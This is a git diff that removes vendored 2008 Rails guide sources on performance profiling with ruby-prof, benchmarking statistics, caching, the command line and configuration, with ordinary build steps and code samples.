-=== Preparing Ruby and Ruby-prof ===
-
-Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:
-
-==== Compile ====
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null ~]$ mkdir rubygc
-[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz
-[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz
-[lifo@null ~]$ cd ruby-1.8.6-p111
-[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0
-[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc
-[lifo@null ruby-1.8.6-p111]$ make && make install
-----------------------------------------------------------------------------
-
-==== Prepare aliases ====
-
-Add the following lines in your ~/.profile for convenience:
-
-----------------------------------------------------------------------------
-alias gcruby='/Users/lifo/rubygc/bin/ruby'
-alias gcrake='/Users/lifo/rubygc/bin/rake'
-alias gcgem='/Users/lifo/rubygc/bin/gem'
-alias gcirb='/Users/lifo/rubygc/bin/irb'
-alias gcrails='/Users/lifo/rubygc/bin/rails'
-----------------------------------------------------------------------------
-
-==== Install rubygems and some basic gems ====
-
-----------------------------------------------------------------------------
-[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
-[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
-[lifo@null ~]$ cd rubygems-1.2.0
-[lifo@null rubygems-1.2.0]$ gcruby setup.rb
-[lifo@null rubygems-1.2.0]$ cd ~
-[lifo@null ~]$ gcgem install rake
-[lifo@null ~]$ gcgem install rails
-----------------------------------------------------------------------------
-
-==== Install MySQL gem ====
-
-----------------------------------------------------------------------------
-[lifo@null ~]$ gcgem install mysql
-----------------------------------------------------------------------------
-
-If this fails, you can try to install it manually:
-
-----------------------------------------------------------------------------
-[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
-[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
-[lifo@null mysql-2.7]$ make && make install
-----------------------------------------------------------------------------
-
-=== Installing Jeremy Kemper's ruby-prof ===
-
-We also need to install Jeremy's ruby-prof gem using our newly built ruby:
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git
-[lifo@null ~]$ cd ruby-prof/
-[lifo@null ruby-prof (master)]$ gcrake gem
-[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem
-----------------------------------------------------------------------------
-
-=== Generating performance test ===
-
-Rails provides a simple generator for creating new performance tests:
-
-[source, shell]
-----------------------------------------------------------------------------
-[lifo@null application (master)]$ script/generate performance_test homepage
-----------------------------------------------------------------------------
-
-This will generate +test/performance/homepage_test.rb+:
-
-[source, ruby]
-----------------------------------------------------------------------------
-require 'test_helper'
-require 'performance_test_help'
-
-class HomepageTest < ActionController::PerformanceTest
-  # Replace this with your real tests.
-  def test_homepage
-    get '/'
-  end
-end
-----------------------------------------------------------------------------
-
-Which you can modify to suit your needs.
-
-=== Running tests ===
-
-include::rubyprof.txt[]
-
-include::digging_deeper.txt[]
-
-include::gameplan.txt[]
-
-include::appendix.txt[]
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket]
-
-* October 17, 2008: First revision by Pratik
-* September 6, 2008: Initial version by Matthew Bergman <MzbPhoto@gmail.com>
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
deleted file mode 100644
index fa01d413..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt
+++ /dev/null
@@ -1,179 +0,0 @@
-== Understanding Performance Tests Outputs ==
-
-=== Our First Performance Test ===
-
-So how do we profile a request. 
-
-One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal. 
-
-In the terminal run
-
-[source, ruby]
-----------------------------------------------------------------------------
-[User profiling_tester]$ gcruby tests/performance/homepage.rb
-----------------------------------------------------------------------------
-
-After the tests runs for a few seconds you should see something like this. 
-
-----------------------------------------------------------------------------
-HomepageTest#test_homepage (19 ms warmup)
-        process_time: 26 ms
-              memory: 298.79 KB
-             objects: 1917
-
-Finished in 2.207428 seconds.
-----------------------------------------------------------------------------
-
-Simple but efficient. 
-
-* Process Time refers to amount of time necessary to complete the action. 
-* memory is the amount of information loaded into memory
-* object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
-
-In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.
-
-*The Three types are*
-
-* Flat File - A simple text file with the data laid out in a grid
-* Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action. 
-* Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
-
-NOTE: KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.  
-
-Below are examples for Flat Files and Graphical Files
-
-=== Flat Files ===
-
-.Flat File Output Processing Time
-============================================================================
-Thread ID: 2279160
-Total: 0.026097
-
- %self     total     self     wait    child    calls  name
-  6.41      0.06     0.04     0.00     0.02      571  Kernel#===
-  3.17      0.00     0.00     0.00     0.00      172  Hash#[]
-  2.42      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_exit
-  2.05      0.00     0.00     0.00     0.00       15  Array#each
-  1.56      0.00     0.00     0.00     0.00        6  Logger#add
-  1.55      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_enter
-  1.36      0.03     0.00     0.00     0.03        1  ActionController::Integration::Session#process
-  1.31      0.00     0.00     0.00     0.00       13  MonitorMixin#mon_release
-  1.15      0.00     0.00     0.00     0.00        8  MonitorMixin#synchronize-1
-  1.09      0.00     0.00     0.00     0.00       23  Class#new
-  1.03      0.01     0.00     0.00     0.01        5  MonitorMixin#synchronize
-  0.89      0.00     0.00     0.00     0.00       74  Hash#default
-  0.89      0.00     0.00     0.00     0.00        6  Hodel3000CompliantLogger#format_message
-  0.80      0.00     0.00     0.00     0.00        9  c
-  0.80      0.00     0.00     0.00     0.00       11  ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
-  0.79      0.01     0.00     0.00     0.01        1  ActionController::Benchmarking#perform_action_without_rescue
-  0.18      0.00     0.00     0.00     0.00       17  <Class::Object>#allocate
-============================================================================  
-
-So what do these columns tell us:
-
-	* %self - The percentage of time spent processing the method. This is derived from self_time/total_time
-	* total - The time spent in this method and its children.
-	* self - The time spent in this method.
-	* wait - Time processed was queued
-	* child - The time spent in this method's children.
-	* calls - The number of times this method was called.
-    *  name - The name of the method.
-
-Name can be displayed three seperate ways:
-	* #toplevel - The root method that calls all other methods
-	* MyObject#method - Example Hash#each, The class Hash is calling the method each
-	* <Object:MyObject>#test - The <> characters indicate a singleton method on a singleton class. Example <Class::Object>#allocate
-	
-Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.
-
-So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms. 
-
-
-.Flat File Memory Output
-============================================================================
-Thread ID: 2279160
-Total: 509.724609
-
- %self     total     self     wait    child    calls  name
-  4.62     23.57    23.57     0.00     0.00       34  String#split
-  3.95     57.66    20.13     0.00    37.53        3  <Module::YAML>#quick_emit
-  2.82     23.70    14.35     0.00     9.34        2  <Module::YAML>#quick_emit-1
-  1.37     35.87     6.96     0.00    28.91        1  ActionView::Helpers::FormTagHelper#form_tag
-  1.35      7.69     6.88     0.00     0.81        1  ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
-  1.06      6.09     5.42     0.00     0.67       90  String#gsub
-  1.01      5.13     5.13     0.00     0.00       27  Array#-
-============================================================================
-
-Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory *(or is it strictly into the heap) can I get clarification on this minor point?* 
-
-So for <Module::YAML>#quick_emit which is  singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.
-
-.Flat File Objects 
-============================================================================
-Thread ID: 2279160
-Total: 6537.000000
-
- %self     total     self     wait    child    calls  name
- 15.16   1096.00   991.00     0.00   105.00       66  Hash#each
-  5.25    343.00   343.00     0.00     0.00        4  Mysql::Result#each_hash
-  4.74   2203.00   310.00     0.00  1893.00       42  Array#each
-  3.75   4529.00   245.00     0.00  4284.00        1  ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
-  2.00    136.00   131.00     0.00     5.00       90  String#gsub
-  1.73    113.00   113.00     0.00     0.00       34  String#split
-  1.44    111.00    94.00     0.00    17.00       31  Array#each-1
-============================================================================
-
-
- #TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?. 
-
-=== Graph Files ===
-
-While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found link:examples/graph.html[Here] 
-
-#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging. 
- )
-
-.Graph File
-============================================================================
-Thread ID: 21277412
-
-  %total   %self     total      self    children               calls   Name
-/____________________________________________________________________________/
-100.00%   0.00%      8.77      0.00      8.77                   1     #toplevel*
-                     8.77      0.00      8.77                 1/1     Object#run_primes
-/____________________________________________________________________________/
-                     8.77      0.00      8.77                 1/1     #toplevel
-100.00%   0.00%      8.77      0.00      8.77                   1     Object#run_primes*
-                     0.02      0.00      0.02                 1/1     Object#make_random_array
-                     2.09      0.00      2.09                 1/1     Object#find_largest
-                     6.66      0.00      6.66                 1/1     Object#find_primes
-/____________________________________________________________________________/
-                     0.02      0.02      0.00                 1/1     Object#make_random_array
-0.18%     0.18%      0.02      0.02      0.00                   1     Array#each_index
-                     0.00      0.00      0.00             500/500     Kernel.rand
-                     0.00      0.00      0.00             500/501     Array#[]=
-/____________________________________________________________________________/
-============================================================================
-
-As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence. 
-
-So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry. 
-
-=== Tree Files ===
-
-It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness 
-
-.KCachegrind Graph
-[caption="KCachegrind graph"] 
-image:images/kgraph.png[Graph created by KCachegrind] 
-
-.KCachegrind List
-[caption="KCachegrind List"] 
-image:images/klist.png[List created by KCachegrind]
-
-#TODO Add a bit more information to this. 
-
-== Getting to the Point of all of this ==
-
-Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section
-
diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt
deleted file mode 100644
index 9fca979d..00000000
--- a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-== A Lession In Statistics ==
-
-#TODO COMPRESS DOWN INTO A PARAGRAPH AND A HALF 
-maybe I'll just combine with the methodology portion as an appendix. 
-
-Adapted from a blog Article by Zed Shaw. His rant is funnier but will take longer to read. <br /> http://www.zedshaw.com/rants/programmer_stats.html[Programmers Need To Learn Statistics Or I Will Kill Them All]
-
-=== Why Learn Statistics ===
-
-Statistics is a hard discipline. One can study it for years without fully grasping all the complexities. But its a necessary evil for coders of every level to at least know the basics. You can't optimize without it, and if you use it wrong, you'll just waste your time and the rest of your team's.
-
-=== Power-of-Ten Syndrome ===
-
-If you done any benchmarking you have probably heard
-“All you need to do is run that test [insert power-of-ten] times and then do an average.” 
-
-For new developers this whole power of ten comes about because we need enough data to minimize the results being contaminated by outliers. If you loaded a page five times with three of those times being around 75ms and twice 250ms you have no way of knowing the real average processing time for you page. But if we take a 1000 times and 950 are 75ms and 50 are 250ms we have a much clearer picture of the situation. 
-
-But this still begs the question of how you determine that 1000 is the correct number of iterations to improve the power of the experiment? (Power in this context basically means the chance that your experiment is right.)
-
-The first thing that needs to be determined is how you are performing the samplings? 1000 iterations run in a massive sequential row? A set of 10 runs with 100 each? The statistics are different depending on which you do, but the 10 runs of 100 each would be a better approach. This lets you compare sample means and figure out if your repeated runs have any bias. More simply put, this allows you to see if you have a many or few outliers that might be poisoning your averages. 
-
-Another consideration is if a 1000 transactions is enough to get the process into a steady state after the ramp-up period? If you are benchmarking a long running process that stabilizes only after a warm-up time you must take that into consideration. 
-
-Also remember getting an average is not an end goal in itself. In fact in some cases they tell you almost nothing. 
-
-=== Don't Just Use Averages! ===
-
-One cannot simply say my website “[insert power-of-ten] requests per second”. This is due to it being an Average. Without some form of range or variance error analysis it's a useless number.  Two averages can be the same, but hide massive differences in behavior. Without a standard deviation it’s not possible to figure out if the two might even be close. 
-
-Two averages can be the same say 30 requests a second and yet have a completely different standard deviation. Say the first sample has +-3 and the second is +-30
-
-Stability is vastly different for these two samples If this were a web server performance run I’d say the second server has a major reliability problem. No, it’s not going to crash, but it’s performance response is so erratic that you’d never know how long a request would take. Even though the two servers perform the same on average, users will think the second one is slower because of how it seems to randomly perform.
-
-Another big thing to take into consideration when benchmarking and profiling is Confounding
-
-=== Confounding ===
-
-The idea of confounding is pretty simple: If you want to measure something, then don’t measure anything else.  
-
-#TODO add more information in how to avoid confounding. 
-
-* Your testing system and your production system must be separate. You can't profile on the same system because you are using resources to run the test that your server should be using to serve the requests. 
-
-And one more thing. 
-
-=== Define what you are Measuring ===
-
-Before you can measure something you really need to lay down a very concrete definition of what you’re measuring. You should also try to measure the simplest thing you can and try to avoid confounding. 
-
-The most important thing to determine though is how much data you can actually send to your application through it's pipe. 
-
-=== Back to Business ===
-
-Now I know this was all a bit boring, but these fundamentals a necessary for understanding what we are actually doing here. Now onto the actual code and rails processes. 
-
-
diff --git a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt b/vendor/rails/railties/doc/guides/source/caching_with_rails.txt
deleted file mode 100644
index e680b79d..00000000
--- a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt
+++ /dev/null
@@ -1,367 +0,0 @@
-Caching with Rails: An overview
-===============================
-
-Everyone caches. This guide will teach you what you need to know about
-avoiding that expensive round-trip to your database and returning what you
-need to return to those hungry web clients in the shortest time possible.
-
-== Basic Caching
-
-This is an introduction to the three types of caching techniques that Rails
-provides by default without the use of any third party plugins.
-
-To get started make sure config.action_controller.perform_caching is set
-to true for your environment. This flag is normally set in the
-corresponding config/environments/*.rb and caching is disabled by default
-there for development and test, and enabled for production.
-
-[source, ruby]
------------------------------------------------------
-config.action_controller.perform_caching = true
------------------------------------------------------
-
-=== Page Caching
-
-Page caching is a Rails mechanism which allows the request for a generated
-page to be fulfilled by the webserver, without ever having to go through the
-Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
-applied to every situation (such as pages that need authentication) and since
-the webserver is literally just serving a file from the filesystem, cache
-expiration is an issue that needs to be dealt with. 
-
-So, how do you enable this super-fast cache behavior?  Simple, let's say you
-have a controller called ProductsController and a 'list' action that lists all
-the products
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
-  caches_page :index
-
-  def index; end
-
-end
------------------------------------------------------
-
-The first time anyone requests products/index, Rails will generate a file
-called index.html and the webserver will then look for that file before it
-passes the next request for products/index to your Rails application.
-
-By default, the page cache directory is set to Rails.public_path (which is
-usually set to RAILS_ROOT + "/public") and this can be configured by
-changing the configuration setting ActionController::Base.page_cache_directory. Changing the
-default from /public helps avoid naming conflicts, since you may want to
-put other static html in /public, but changing this will require web
-server reconfiguration to let the web server know where to serve the
-cached files from.
-
-The Page Caching mechanism will automatically add a .html exxtension to
-requests for pages that do not have an extension to make it easy for the
-webserver to find those pages and this can be configured by changing the
-configuration setting ActionController::Base.page_cache_extension.
-
-In order to expire this page when a new product is added we could extend our
-example controler like this:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
-  caches_page :list
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-  end
-
-end
------------------------------------------------------
-
-If you want a more complicated expiration scheme, you can use cache sweepers
-to expire cached objects when things change. This is covered in the section on Sweepers.
-
-[More: caching paginated results? more examples? Walk-through of page caching?]
-
-=== Action Caching
-
-One of the issues with Page Caching is that you cannot use it for pages that
-require to restrict access somehow. This is where Action Caching comes in.
-Action Caching works like Page Caching except for the fact that the incoming
-web request does go from the webserver to the Rails stack and Action Pack so
-that before filters can be run on it before the cache is served, so that
-authentication and other restrictions can be used while still serving the
-result of the output from a cached copy.
-
-Clearing the cache works in the exact same way as with Page Caching.
-
-Let's say you only wanted authenticated users to edit or create a Product
-object, but still cache those pages: 
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
------------------------------------------------------
-
-And you can also use :if (or :unless) to pass a Proc that specifies when the
-action should be cached. Also, you can use :layout => false to cache without
-layout so that dynamic information in the layout such as logged in user info
-or the number of items in the cart can be left uncached. This feature is
-available as of Rails 2.2.
-
-
-[More: more examples? Walk-through of Action Caching from request to response?
-       Description of Rake tasks to clear cached files? Show example of
-       subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
-       to expire_action?]
-
-=== Fragment Caching
-
-Life would be perfect if we could get away with caching the entire contents of
-a page or action and serving it out to the world. Unfortunately, dynamic web
-applications usually build pages with a variety of components not all of which
-have the same caching characteristics. In order to address such a dynamically
-created page where different parts of the page need to be cached and expired
-differently Rails provides a mechanism called Fragment Caching.
-
-Fragment Caching allows a fragment of view logic to be wrapped in a cache
-block and served out of the cache store when the next request comes in. 
-
-As an example, if you wanted to show all the orders placed on your website
-in real time and didn't want to cache that part  of the page, but did want
-to cache the part of the page which lists all products available, you
-could use this piece of code:
-
-[source, ruby]
------------------------------------------------------
-<% Order.find_recent.each do |o| %>
-  <%= o.buyer.name %> bought <% o.product.name %>
-<% end %>
-  
-<% cache do %>
-  All available products: 
-  <% Product.find(:all).each do |p| %>
-    <%= link_to p.name, product_url(p) %>
-  <% end %>
-<% end %>
------------------------------------------------------
-
-The cache block in our example will bind to the action that called it and is
-written out to the same place as the Action Cache, which means that if you
-want to cache multiple fragments per action, you should provide an action_suffix to the cache call:
-
-[source, ruby]
------------------------------------------------------
-<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
-  All available products: 
------------------------------------------------------
-
-and you can expire it using the expire_fragment method, like so:
-
-[source, ruby]
------------------------------------------------------
-expire_fragment(:controller => 'producst', :action => 'recent', :action_suffix => 'all_products)
------------------------------------------------------
-
-[More: more examples? description of fragment keys and expiration, etc? pagination?]
-
-=== Sweepers
-
-Cache sweeping is a mechanism which allows you to get around having a ton of
-expire_{page,action,fragment} calls in your code by moving all the work
-required to expire cached content into a ActionController::Caching::Sweeper
-class that is an Observer and looks for changes to an object via callbacks,
-and when a change occurs it expires the caches associated with that object n
-an around or after filter.
-
-Continuing with our Product controller example, we could rewrite it with a
-sweeper such as the following:
-
-[source, ruby]
------------------------------------------------------
-class StoreSweeper < ActionController::Caching::Sweeper
-  observe Product # This sweeper is going to keep an eye on the Post model
-
-  # If our sweeper detects that a Post was created call this
-  def after_create(product)
-          expire_cache_for(product)
-  end
-  
-  # If our sweeper detects that a Post was updated call this
-  def after_update(product)
-          expire_cache_for(product)
-  end
-  
-  # If our sweeper detects that a Post was deleted call this
-  def after_destroy(product)
-          expire_cache_for(product)
-  end
-          
-  private
-  def expire_cache_for(record)
-    # Expire the list page now that we added a new product
-    expire_page(:controller => '#{record}', :action => 'list')
-    
-    # Expire a fragment 
-    expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
-  end
-end
------------------------------------------------------
-
-Then we add it to our controller to tell it to call the sweeper when certain
-actions are called. So, if we wanted to expire the cached content for the
-list and edit actions when the create action was called, we could do the
-following:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-  cache_sweeper :store_sweeper, :only => [ :create ]
-
-  def list; end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
------------------------------------------------------
-
-[More: more examples? better sweepers?]
-
-=== SQL Caching
-
-Query caching is a Rails feature that caches the result set returned by each
-query so that if Rails encounters the same query again for that request, it
-will used the cached result set as opposed to running the query against the
-database again.
-
-For example:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
-  before_filter :authenticate, :only => [ :edit, :create ]
-  caches_page :list
-  caches_action :edit
-  cache_sweeper :store_sweeper, :only => [ :create ]
-
-  def list
-    # Run a find query
-    Product.find(:all)
-
-    ...
-
-    # Run the same query again
-    Product.find(:all)
-  end
-
-  def create
-    expire_page :action => :list
-    expire_action :action => :edit
-  end
-
-  def edit; end
-
-end
------------------------------------------------------
-
-In the 'list' action above, the result set returned by the first
-Product.find(:all) will be cached and will be used to avoid querying the
-database again the second time that finder is called.
-
-Query caches are created at the start of an action and destroyed at the end of
-that action and thus persist only for the duration of the action.
-
-=== Cache stores
-
-Rails provides different stores for the cached data for action and fragment
-caches. Page caches are always stored on disk.
-
-The cache stores provided include:
-
-1) Memory store: Cached data is stored in the memory allocated to the Rails
-                 process, which is fine for WEBrick and for FCGI (if you
-                 don't care that each FCGI process holds its own fragment
-                 store). It's not suitable for CGI as the process is thrown
-                 away at the end of each request. It can potentially also
-                 take up a lot of memory since each process keeps all the
-                 caches in memory.
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :memory_store
------------------------------------------------------
-
-2) File store: Cached data is stored on the disk, this is the default store
-               and the default path for this store is: /tmp/cache. Works
-               well for all types of environments and allows all processes
-               running from the same application directory to access the
-               cached content.
-
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
------------------------------------------------------
-
-3) DRb store: Cached data is stored in a separate shared DRb process that all
-              servers communicate with. This works for all environments and
-              only keeps one cache around for all processes, but requires
-              that you run and manage a separate DRb process.
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
------------------------------------------------------
-
-4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
-                    Requires the ruby-memcache library:  
-                    gem install ruby-memcache.
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :mem_cache_store, "localhost"
------------------------------------------------------
-
-5) Custom store: You can define your own cache store (new in Rails 2.1)
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = MyOwnStore.new("parameter")
------------------------------------------------------
-
-== Advanced Caching
-
-Along with the built-in mechanisms outlined above, a number of excellent
-plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath's excellent cache_fu plugin (more info here:
-http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
-interlock plugin (more info here:
-http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
-of these plugins play nice with memcached and are a must-see for anyone
-seriously considering optimizing their caching needs.
diff --git a/vendor/rails/railties/doc/guides/source/command_line.txt b/vendor/rails/railties/doc/guides/source/command_line.txt
deleted file mode 100644
index 5f7c6cef..00000000
--- a/vendor/rails/railties/doc/guides/source/command_line.txt
+++ /dev/null
@@ -1,147 +0,0 @@
-A Guide to The Rails Command Line
-=================================
-
-Rails comes with every command line tool you'll need to
-
-* Create a Rails application
-* Generate models, controllers, database migrations, and unit tests
-* Start a development server
-* Mess with objects through an interactive shell
-* Profile and benchmark your new creation
- 
-... and much, much more! (Buy now!)
-
-This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.
-
-== Command Line Basics ==
-
-There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
-
-* console
-* server
-* rake
-* generate
-* rails
- 
-Let's create a simple Rails application to step through each of these commands in context.
-
-=== rails ===
-
-The first thing we'll want to do is create a new Rails application by running the `rails` command after installing Rails.
-
-NOTE: You know you need the rails gem installed by typing `gem install rails` first, right? Okay, okay, just making sure.
-
-[source,shell]
-------------------------------------------------------
-$ rails commandsapp
-
-     create  
-     create  app/controllers
-     create  app/helpers
-     create  app/models
-     ...
-     ...
-     create  log/production.log
-     create  log/development.log
-     create  log/test.log
-------------------------------------------------------
-
-Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-
-NOTE: This output will seem very familiar when we get to the `generate` command. Creepy foreshadowing!
-
-=== server ===
-
-Let's try it! The `server` command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.
-
-NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
-
-Here we'll flex our `server` command, which without any prodding of any kind will run our new shiny Rails app:
-
-[source,shell]
-------------------------------------------------------
-$ cd commandsapp
-$ ./script/server
-=> Booting WEBrick...
-=> Rails 2.2.0 application started on http://0.0.0.0:3000
-=> Ctrl-C to shutdown server; call with --help for options
-[2008-11-04 10:11:38] INFO  WEBrick 1.3.1
-[2008-11-04 10:11:38] INFO  ruby 1.8.5 (2006-12-04) [i486-linux]
-[2008-11-04 10:11:38] INFO  WEBrick::HTTPServer#start: pid=18994 port=3000
-------------------------------------------------------
-
-WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
-
-See? Cool! It doesn't do much yet, but we'll change that.
-
-=== generate ===
-
-The `generate` command uses templates to create a whole lot of things. You can always find out what's available by running `generate` by itself. Let's do that:
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate
-Usage: ./script/generate generator [options] [args]
-
-...
-...
-
-Installed Generators
-  Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
-
-...
-...
-------------------------------------------------------
-
-NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
-
-Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
-
-Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-
-NOTE: All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like `rails` or `./script/generate`). For others, you can try adding `--help` or `-h` to the end, as in `./script/server --help`.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate controller
-Usage: ./script/generate controller ControllerName [options]
-
-...
-...
-
-Example:
-    `./script/generate controller CreditCard open debit credit close`
-
-    Credit card controller with URLs like /credit_card/debit.
-        Controller: app/controllers/credit_card_controller.rb
-        Views:      app/views/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/functional/credit_card_controller_test.rb
-
-Modules Example:
-    `./script/generate controller 'admin/credit_card' suspend late_fee`
-
-    Credit card admin controller with URLs /admin/credit_card/suspend.
-        Controller: app/controllers/admin/credit_card_controller.rb
-        Views:      app/views/admin/credit_card/debit.html.erb [...]
-        Helper:     app/helpers/admin/credit_card_helper.rb
-        Test:       test/functional/admin/credit_card_controller_test.rb
-------------------------------------------------------
-
-Ah, the controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of *hello*, which will say something nice to us.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate controller Greeting hello
-     exists  app/controllers/
-     exists  app/helpers/
-     create  app/views/greeting
-     exists  test/functional/
-     create  app/controllers/greetings_controller.rb
-     create  test/functional/greetings_controller_test.rb
-     create  app/helpers/greetings_helper.rb
-     create  app/views/greetings/hello.html.erb
-------------------------------------------------------
-
-Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!
-
diff --git a/vendor/rails/railties/doc/guides/source/configuring.txt b/vendor/rails/railties/doc/guides/source/configuring.txt
deleted file mode 100644
index 07b630c5..00000000
--- a/vendor/rails/railties/doc/guides/source/configuring.txt
+++ /dev/null
@@ -1,225 +0,0 @@
-Configuring Rails Applications
-==============================
-
-This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
-
-* Adjust the behavior of your Rails applications
-* Add additional code to be run at application start time
-
-== Locations for Initialization Code
-
-preinitializers
-environment.rb first
-env-specific files
-initializers (load_application_initializers)
-after-initializer
-
-== Using a Preinitializer
-
-== Configuring Rails Components
-
-=== Configuring Active Record
-
-=== Configuring Action Controller
-
-=== Configuring Action View
-
-=== Configuring Action Mailer
-
-=== Configuring Active Resource
-
-=== Configuring Active Support
-
-== Using Initializers
- organization, controlling load order
-
-== Using an After-Initializer
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket]
-
-* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy]
